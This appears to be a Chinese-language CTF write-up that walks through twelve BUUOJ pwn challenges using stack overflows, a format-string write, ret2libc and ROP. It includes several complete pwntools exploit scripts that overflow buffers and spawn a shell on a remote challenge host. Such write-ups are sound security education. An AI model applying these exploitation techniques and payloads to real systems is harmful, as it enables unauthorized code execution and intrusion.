1.test_your_nc
习惯性检查一下文件属性,是64位程序
加一下执行权限看看文件,然后运行一下
运行后发现什么提示也没有,但是终端中出现了 ‘$’,尝试出入一些指令 ls
我们大胆猜测,这是一个直接有system(“/bin/sh”)的文件,用IDA反汇编查看伪代码,果然如此
所以直接链接到靶机,控制交还给终端就好了
2.rip
还是检查文件的保护并尝试执行,表面看不出来什么,应该是有一个输入程序和打印输入的内容,直接ida反汇编查看伪代码
因为程序没有 开启canary保护,程序中直接有gets栈溢出漏洞
我们再看看有没有后门函数
有一个fun函数,所以这个题我们直接溢出覆盖返回地址位fun函数就行了,变量s的位置在距离rbp-0xf,所以我们填充0xf个人垃圾,在加上fun的地址,就完成了溢出。在ida中查看到fun的地址在0x401186,构造exp如下
3.warmup_csaw_2016
64位 程序未开启栈溢出保护,那就直接ida反汇编查看
进入main函数看看情况
又是存在gets函数漏洞的程序,我们直接看看程序中又没有后门函数
程序中存在直接读取 flag的函数,所以这次我们栈溢出,覆盖返回地址到sub_40060D()这个函数中,v5到rbp距离0x40,垃圾填充'a'*0x40 + sub_40060D()
在ida中查看后门函数的地址为0x40060D。exp如下:
4.ciscn_2019_n_1
依旧是64位程序,ida查看
两个无关紧要的函数(setbuf),我们直接查看func函数内容
我们看到只要v2的数值等于11.28125,就可以执行system("cat /flag"),拿到flag,于是我们试图寻找标准输入v2,但是没有,v2初始化位0.0,且没有修改,但是我们又看到了gets漏洞,通过比对v1与v2在栈中的位置,我们只要填充0x30-0x4个字节的垃圾,就可以覆盖到v2的位置。payload='a'*0x2c + ??11.28125??,
但是又如何将11.28125写入栈中呢,一般的正整数我们可以直接p64(11)解决,但是这里shi小数,不能直接写入,所以需要我们把11.28125转化成补码,再将2进制补码转成16进制(0x41348000)写入内存,一种方法是我们自己去转换,另外我们可以在ida的反汇编数据中查找,
汇编代码的判断选择部分,dword_4007F4,双击查看41348000h
exp如下:
5.pwn1_sctf_2016
惯例检查文件保护,32位程序
直接ida查看伪代码
我们在旁边的函数窗口看到了
get_flag
我们找到了后门函数,下面就要看看入口了,main函数中只有vuln函数,我们进入vuln函数
一堆函数,看着挺乱的没有头绪有一个fgets函数,但是只能读取32个字符,而S在哪栈中的位置是ebp-3C,没办法栈溢出。
意识没了头绪。我们再看,下面有一些字符串“I”,“you”,所以我们尝试执行程序,并输入"I ",,"you"
我们看到了 ''I''变成了"you",我们回头在看,,代码中又replace()函数,进入查看
std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
int v4; // [esp+Ch] [ebp-4Ch]
char v5[4]; // [esp+10h] [ebp-48h] BYREF
char v6[7]; // [esp+14h] [ebp-44h] BYREF
char v7; // [esp+1Bh] [ebp-3Dh] BYREF
int v8; // [esp+1Ch] [ebp-3Ch]
char v9[4]; // [esp+20h] [ebp-38h] BYREF
int v10; // [esp+24h] [ebp-34h] BYREF
int v11; // [esp+28h] [ebp-30h] BYREF
char v12; // [esp+2Fh] [ebp-29h] BYREF
int v13[2]; // [esp+30h] [ebp-28h] BYREF
char v14[4]; // [esp+38h] [ebp-20h] BYREF
int v15; // [esp+3Ch] [ebp-1Ch]
char v16[4]; // [esp+40h] [ebp-18h] BYREF
int v17; // [esp+44h] [ebp-14h] BYREF
char v18[4]; // [esp+48h] [ebp-10h] BYREF
char v19[8]; // [esp+4Ch] [ebp-Ch] BYREF
while ( std::string::find(a2, a3, 0) != -1 )
{
std::allocator<char>::allocator(&v7);
v8 = std::string::find(a2, a3, 0);
std::string::begin((std::string *)v9);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
std::string::begin((std::string *)&v11);
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v6, v11, v10, &v7);
std::allocator<char>::~allocator(&v7);
std::allocator<char>::allocator(&v12);
std::string::end((std::string *)v13);
v13[1] = std::string::length(a3);
v15 = std::string::find(a2, a3, 0);
std::string::begin((std::string *)v16);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(v14);
__gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v17);
std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(v5, v17, v13[0], &v12);
std::allocator<char>::~allocator(&v12);
std::operator+<char>((std::string *)v19);
std::operator+<char>((std::string *)v18);
std::string::operator=(a2, v18, v5, v4);
std::string::~string(v18);
std::string::~string(v19);
std::string::~string(v5);
std::string::~string(v6);
}
std::string::string(a1, a2);
return a1;
}
我们可以大胆猜测,这个函数是将我们输入的"I"替换成"you",而且其他的字符向后顺延(因为数据在内存以及栈中都是在连续的地址上,所以这些数据其实实在地址上的移动).这是一个重要的点。结合我们之前找到的后门函,我们觉得这一定是一个溢出,但是我们之呢个读取32和字节的数据,不能直接实现栈溢出,replace能够将数据向后面的地址移动,那么我们能不能在输入后门的地址,然后通过 “I”替换成"you" 来实现将返回地址刚好覆盖位后门函数呢?
后门函数的地址0x08048f0d,是8个字节,变量s在栈中位置是ebp-3C,3ch = 3*16+12=60个字节——20个' I ’替换成"you"刚好是60个字节!!!!因为32程序我们覆盖rbp只要4字节!!20+4+8刚好是32个字符!所以我们只要输入20个"I",以及4个其他垃圾再加上后门函数的地址,经过replace替换后刚好填充了栈内存,覆盖了rbp以及返回地址!exp如下:
6.jarvisoj_level0
检查保护,64位程序,加权限后尝试运行
要我们输入一些东西,所以我们直接 ida ,
main函数里只有一个函数入口,我们先看看函数列表里面都有什么。
这里有一个callsystem()地址为0x400596,进去看看, oho,直接获得权限后门函数。
我们就去main函数里面去寻找入口。进入vulnerable_function(1LL);
read函数读取0x200u个字节,而 buf在栈中距离rbp只有0x80h,明显的栈溢出,我们只需要写入88个垃圾,就可以覆盖返回地址为后门函数地址。exp如下:
7.ciscn_2019_c_1
检查程序
64位程序,未开启栈溢出保护
尝试运行
多尝试几次 ,发现应该是一个对输入的字符串进行加密
但是只有第一次会加密
而且是通过某种规则,但这不影响,ida反汇编 一下
main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
begin函数
我们继续看 main函数,输入2或3都啥东西,选择1后会执行Encrypt()
gets()存在漏洞,现在我们寻找有没有后门
没有system ,也没有/bin/sh字符串。因为没有开启pie保护,我们通过ret2libc构造rop链。
因为这是64位程序,我们构造rop链是需要维护栈平衡以及传递参数 pop rdi;ret
利用ropper找到gadget的地址。程序中调用了puts函数,就会存在于got表中。我们调用puts函数,并设置参数为puts的got地址,就可将其打印出来,进而泄露libc 的地址,64位传参要先用寄存器传入。main函数地址为0x400b28。
payload:
*泄露libc
发送‘1’进入Encrypt,发送payload
返回main,等待再次触发漏洞。计算libc基地址,找到system("/bin/sh")
发送‘1’,再次触发漏洞
payload构造:
完整exp:
8.[第五空间2019 决赛]PWN5
检查程序安全保护,32位程序,发现有canary保护,ida反汇编查看
进入main主函数
很明显的看到格式化字符串漏洞printf(buf); 下面有system("/bin/sh")的调用,只要nprt与dword_804C044相等。dword_804C044是随机读取的内容,但是格式化字符串漏洞是在它之后。所以可以通过格式化字符串%$n修改dword_804C044数值,寻找一下格式化字符串的偏移。
利用%08x 泄露栈内容。我们发现参数在战中的位置是在第10,所以我们可以用%10$n修改
这里,我们就把一个地址写入 吧,地址是4字节,%10$n 会在这里写入我们输入的字节数——4;这样我们就把dword_804C044的随机数改成了4;exp如下:
9:babyrop
32位程序,未开启canary保护,尝试运行后发现没有任何提示
那就直接ida,进入main函数
看到三个函数,
第一个函数没有有用的价值,但是第三个函数有有栈溢出可以利用。 因为a1是字符型变量,与整型变量比较时,比较的是a1的 ASCII码值,只要a1不等于‘127’就可以触发else,读取a1个字节的数据。如果a1是转换后的数值大于0xE7(231),就可以实现溢出 。
我们回过头来看a1是如何设置的。在第二个函数中返回的buf[7]第三个函数的a1。第二个函数的参数是main里buf随机读取的四字节内容.在第二个函数中,读取输入,进行字符串比较,不同则退出,相同则返回输入的第8个字节及buf[7],可以通过输入 \0 绕过字符串比较。所以我们通过脚本发送'\0'+'255'就可以绕过检查,并且到达栈溢出的位置,接下来我们考虑如何利用溢出。
在ida中寻找一些有用的信息,后门函数或者system函数的调用。
没有后门函数,也没有system调用以及“/bin/sh”字符串。那这题就是ret2libc 的方法了。
(1)程序前面调用了read函数,我们可以通过构造rop链,调用write(1,xx_got,4)泄露libc的地址并返回main函数再次触发漏洞
(2)根据libc的基地址找到 system以及“/bin/sh”
(3)构造rop调用system("/bin/sh")
溢出漏洞payload,垃圾填充'a'*(0xe7+4) ,read返回地址覆盖为write_plt,设置write的返回地址为main,设置write的参数1,write_got,4.
payload='a'*0xe7+'a'*4 + p32(write_plt) + p32(main)+p32(1)+p32(write_got)+p32(4)
接受 write的got地址,接收4个字节,并用u32()转为地址。
计算system("/bin/sh")
构造新的payload:payload='a'*0xe7 + 'a'*4 +p32(system) +'a'*4 +p32(binsh)
重复触发漏洞:
完整的exp如下:
from pwn import *
from LibcSearcher import *
r=remote('node4.buuoj.cn',29106)
elf = ELF('./bo9')
main = 0x08048825
write_plt = elf.plt['write']
write_got = elf.got['write']
payload0='\0'*7+'\255'
r.sendline(payload0)
r.recvline()
payload='a'*0xe7+'a'*4 + p32(write_plt) + p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
print hex(write_addr)
libc = LibcSearcher('write',write_addr)
offset = write_addr - libc.dump('write')
binsh = offset + libc.dump('str_bin_sh')
system = offset + libc.dump('system')
payload='a'*0xe7 + 'a'*4 +p32(system) +'a'*4 +p32(binsh)
r.sendline(payload0)
r.recvline()
r.sendline(payload)
r.interactive()
10.ciscn_2019_n_8
检查保护
32位程序,基本上保护都打开了,尝试运行
没找到有用的信息。ida查看伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]
var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5);
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}
简单分析程序,只要满足*(_QWORD *)&var[13] == 17LL ,就可以getshell,这个条件的意思是,var[13]的数值要等于17。所以我们只要输入数据,将var[13]设置位17就可以,exp如下
from pwn import *
r=remote('node4.buuoj.cn',27621)
payload = p32(17)*14
r.sendline(payload)
r.recv()
r.interactive()
11.get_started_3dsctf_2016
检查程序
32位程序,未开启栈溢出保护,尝试运行
喵的,直接ida!
加载很慢,发现这个程序一定是静态编译没加入了很多很多很多的数据。get_flag函数就有后门,只要设置函数的两个参数满足条件就好了。进入main函数
明显的溢出,但是没有get_flag 的入口,那么大致思路就是溢出覆盖返回地址为get_flag,设置参数a1,a2。
但是,运行后发现不行,查看栈空间
main没有rbp,简单修改垃圾数据的长度,发现还是不行,卡了半天,去看了一些师傅的文章,这个payload必须有出口才能执行get_flag函数的内容,在ida函数表里看了半天
有师傅说找到一个exit的返回出口,地址0x 804e6a0
那么新的exp:
from pwn import *
p = remote("node4.buuoj.cn",29338)
context.log_level = 'debug'
a1 = 0x308cd64f
a2 = 0x195719d1
get_flag_addr = 0x080489A0
exit_addr = 0x0804E6A0
payload = 'a'* 0x38 + p32(get_flag_addr) + p32(exit_addr)+ p32(a1) + p32(a2)
p.sendline(payload)
p.recv()
p.interactive()
以后也要记得检查 是否 有rbp。
12.jarvisoj_level2
检查保护
32位程序,没有开启栈溢出保护以及pie,直接ida
main函数很简单,有system函数的调用,还有一个函数入口,进入看看,
read函数有栈溢出漏洞,那么我们的思路就是通过溢出调用system。
我们在函数表里找到system 的plt地址就可以构造payload;exp:如下:
from pwn import *
r=remote('node4.buuoj.cn',28327)
sys_addr = 0x08048320
binsh = 0x0804a024
payload = 'a'*(0x88+4)+p32(sys_addr)+'a'*4+p32(binsh)
r.sendline(payload)
r.recv()
r.interactive()
当然也可以通过 找到call_system ,构造payload,这种方式不需要设置调用system返回地址
exp如下: